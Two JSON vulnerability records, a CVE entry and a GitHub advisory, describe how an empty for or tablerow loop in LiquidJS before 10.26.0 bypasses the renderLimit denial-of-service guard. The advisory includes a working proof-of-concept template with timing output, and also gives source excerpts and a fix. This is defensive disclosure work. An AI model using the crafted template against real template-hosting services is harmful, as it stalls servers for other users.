{
  "affected": [
    {
      "affectedData": [
        {
          "product": "liquidjs",
          "vendor": "harttle",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 10.26.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the renderLimit option can be fully bypassed by a {% for %} (or {% tablerow %}) tag whose body is empty. The renderLimit option is documented in docs/source/tutorials/dos.md as the mechanism that \"mitigates this by limiting the time consumed by each render() call.\" The per-iteration time check is reached only when the body contains at least one template node, so a template such as {%- for i in (1..N) -%}{%- endfor -%} iterates the full collection without ever consulting renderLimit. With a configured renderLimit of 50 ms, a single parseAndRenderSync call has been observed to consume 2.26 seconds (~45\u00d7 over the limit) and scales linearly with N up to memoryLimit, allowing a low-privileged template author to wedge an event-loop thread for an attacker-chosen duration. Deployments that rely on a finite renderLimit for DoS protection (common in multi-tenant template-authoring environments) can still be forced by a single crafted template to monopolize a Node.js event-loop worker for attacker-controlled time, potentially stalling in-flight requests, with availability impact only. This issue has been fixed in version 10.26.0."
    }
  ],
  "id": "CVE-2026-44645",
  "lastModified": "2026-06-22T18:27:30.807",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44645",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-18T19:05:03.703365Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-17T23:17:03.607",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/harttle/liquidjs/commit/5b9c3469085e01c79e2d0af28e2a13f730e1793d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/harttle/liquidjs/releases/tag/v10.26.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-8xx9-69p8-7jp3"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-8xx9-69p8-7jp3"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "10.25.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T00:11:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `renderLimit` option \u2014 documented in `docs/source/tutorials/dos.md` as the mechanism that \"mitigates this by limiting the time consumed by each render() call\" \u2014 can be fully bypassed by a `{% for %}` (or `{% tablerow %}`) tag whose body is empty. The per-iteration time check is reached only when the body contains at least one template node, so a template like `{%- for i in (1..N) -%}{%- endfor -%}` iterates the full collection without ever consulting `renderLimit`. With a configured `renderLimit` of 50 ms, a single `parseAndRenderSync` call has been observed to consume **2.26 seconds** (~45\u00d7 over the limit) and scales linearly with `N` up to `memoryLimit`, allowing a low-privileged template author to wedge an event-loop thread for an attacker-chosen duration.\n\n## Details\n\n`Render.renderTemplates` is the single point at which `renderLimit` is consulted:\n\n```ts\n// src/render/render.ts\n14:  public * renderTemplates (templates: Template[], ctx: Context, emitter?: Emitter): IterableIterator\u003cany\u003e {\n15:    if (!emitter) {\n16:      emitter = ctx.opts.keepOutputType ? new KeepingTypeEmitter() : new SimpleEmitter()\n17:    }\n18:    const errors = []\n19:    for (const tpl of templates) {\n20:      ctx.renderLimit.check(getPerformance().now())\n21:      try {\n22:        const html = yield tpl.render(ctx, emitter)\n...\n32:    }\n```\n\nThe check at line 20 lives **inside** the `for (const tpl of templates)` body. When `templates.length === 0`, the loop body never executes, so the limiter is never consulted on that invocation.\n\nThe `for` tag re-enters `renderTemplates` once per collection item with no independent time check:\n\n```ts\n// src/tags/for.ts\n70:    for (const item of collection) {\n71:      scope[this.variable] = item\n72:      ctx.continueCalled = ctx.breakCalled = false\n73:      yield r.renderTemplates(this.templates, ctx, emitter)\n74:      if (ctx.breakCalled) break\n75:      scope.forloop.next()\n76:    }\n```\n\nWhen `{%- for i in (1..N) -%}{%- endfor -%}` is parsed, `this.templates` is `[]`. Each of the `N` calls to `r.renderTemplates(this.templates, ctx, emitter)` therefore performs zero `renderLimit.check()` calls and zero template work \u2014 it just spins the JS-level `for` loop and the generator boilerplate. With `N = 30_000_000` this still costs ~2.26 s of CPU, and `N = 100_000_000` costs ~9.6 s, fully bypassing whatever wall-clock budget the integrator configured.\n\nThe range expression itself is bounded only by `memoryLimit`:\n\n```ts\n// src/render/expression.ts:67-72\nfunction * evalRangeToken (token: RangeToken, ctx: Context) {\n  const low: number = yield evalToken(token.lhs, ctx)\n  const high: number = yield evalToken(token.rhs, ctx)\n  ctx.memoryLimit.use(high - low + 1)\n  return range(+low, +high + 1)\n}\n```\n\nSo the maximum bypass is governed by the (separate) `memoryLimit`, not by `renderLimit`. Integrators following the `docs/source/tutorials/dos.md` guidance \u2014 which positions `renderLimit` as the time-based defense \u2014 get no time-based defense at all on this code path.\n\n## PoC\n\nReproduced against `liquidjs@10.25.7` (HEAD `34877950`):\n\n```bash\n# Empty for-body bypasses renderLimit (50 ms) and runs for ~2.26 s:\n$ node -e \"const { Liquid } = require(\u0027liquidjs\u0027);\n  const engine = new Liquid({ memoryLimit: 1e9, renderLimit: 50 });\n  const t = Date.now();\n  engine.parseAndRenderSync(\u0027{%- for i in (1..30000000) -%}{%- endfor -%}\u0027, {});\n  console.log(\u0027Took\u0027, Date.now()-t, \u0027ms\u0027);\"\nTook 2255 ms\n\n# Same template with a single-character body is correctly bounded:\n$ node -e \"const { Liquid } = require(\u0027liquidjs\u0027);\n  const engine = new Liquid({ memoryLimit: 1e9, renderLimit: 50 });\n  try { engine.parseAndRenderSync(\u0027{%- for i in (1..30000000) -%}.{%- endfor -%}\u0027, {}); }\n  catch(e) { console.log(\u0027correctly threw:\u0027, e.message); }\"\ncorrectly threw: template render limit exceeded, line:1, col:1\n```\n\nScaling `N`:\n- `N = 30_000_000` \u2192 2255 ms (\u2248 45\u00d7 over the 50 ms limit)\n- `N = 100_000_000` \u2192 9581 ms (\u2248 191\u00d7 over the 50 ms limit)\n\nTime grows linearly with `N`, capped only by `memoryLimit` (default `Infinity`, so the only cap by default is process memory).\n\n## Impact\n\nAny liquidjs integrator who follows the upstream DoS guidance and sets a finite `renderLimit` to bound per-render CPU \u2014 typical for SaaS / multi-tenant environments where end users author templates (themes, email templates, snippets) \u2014 does not get the bound they configured. A single template submission can keep an event-loop thread busy for seconds, which on a Node.js server is sufficient to stall all in-flight requests on that worker. With a large enough range and a permissive `memoryLimit`, the wedge time is attacker-controlled. No data is exposed and no integrity is harmed; impact is availability only.\n\n## Recommended Fix\n\nMove the `renderLimit` check to a location that runs unconditionally per `renderTemplates` invocation, so a zero-template body still triggers it; alternatively (or additionally) have iteration tags that invoke `renderTemplates` per element check the limiter themselves once per iteration.\n\n```ts\n// src/render/render.ts \u2014 check at function entry, before the templates loop\npublic * renderTemplates (templates: Template[], ctx: Context, emitter?: Emitter): IterableIterator\u003cany\u003e {\n  if (!emitter) {\n    emitter = ctx.opts.keepOutputType ? new KeepingTypeEmitter() : new SimpleEmitter()\n  }\n  ctx.renderLimit.check(getPerformance().now())   // \u003c-- runs even when templates is empty\n  const errors = []\n  for (const tpl of templates) {\n    ctx.renderLimit.check(getPerformance().now())\n    ...\n  }\n  ...\n}\n```\n\nAnd/or, defensively, in the iteration tags themselves so the guard cost is paid once per element rather than only at re-entry:\n\n```ts\n// src/tags/for.ts (around line 70)\nfor (const item of collection) {\n  ctx.renderLimit.check(getPerformance().now())   // \u003c-- per-iteration time check\n  scope[this.variable] = item\n  ctx.continueCalled = ctx.breakCalled = false\n  yield r.renderTemplates(this.templates, ctx, emitter)\n  if (ctx.breakCalled) break\n  scope.forloop.next()\n}\n\n// src/tags/tablerow.ts (around line 54) \u2014 analogous addition\nfor (let idx = 0; idx \u003c collection.length; idx++, tablerowloop.next()) {\n  ctx.renderLimit.check(getPerformance().now())\n  ...\n}\n```\n\nThe same hardening should be applied anywhere a tag drives an attacker-influenced loop count over a (potentially empty) `templates` array.",
  "id": "GHSA-8xx9-69p8-7jp3",
  "modified": "2026-05-27T00:11:46Z",
  "published": "2026-05-27T00:11:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-8xx9-69p8-7jp3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiquidJS has a renderLimit DoS guard bypass via empty `{% for %}` body"
}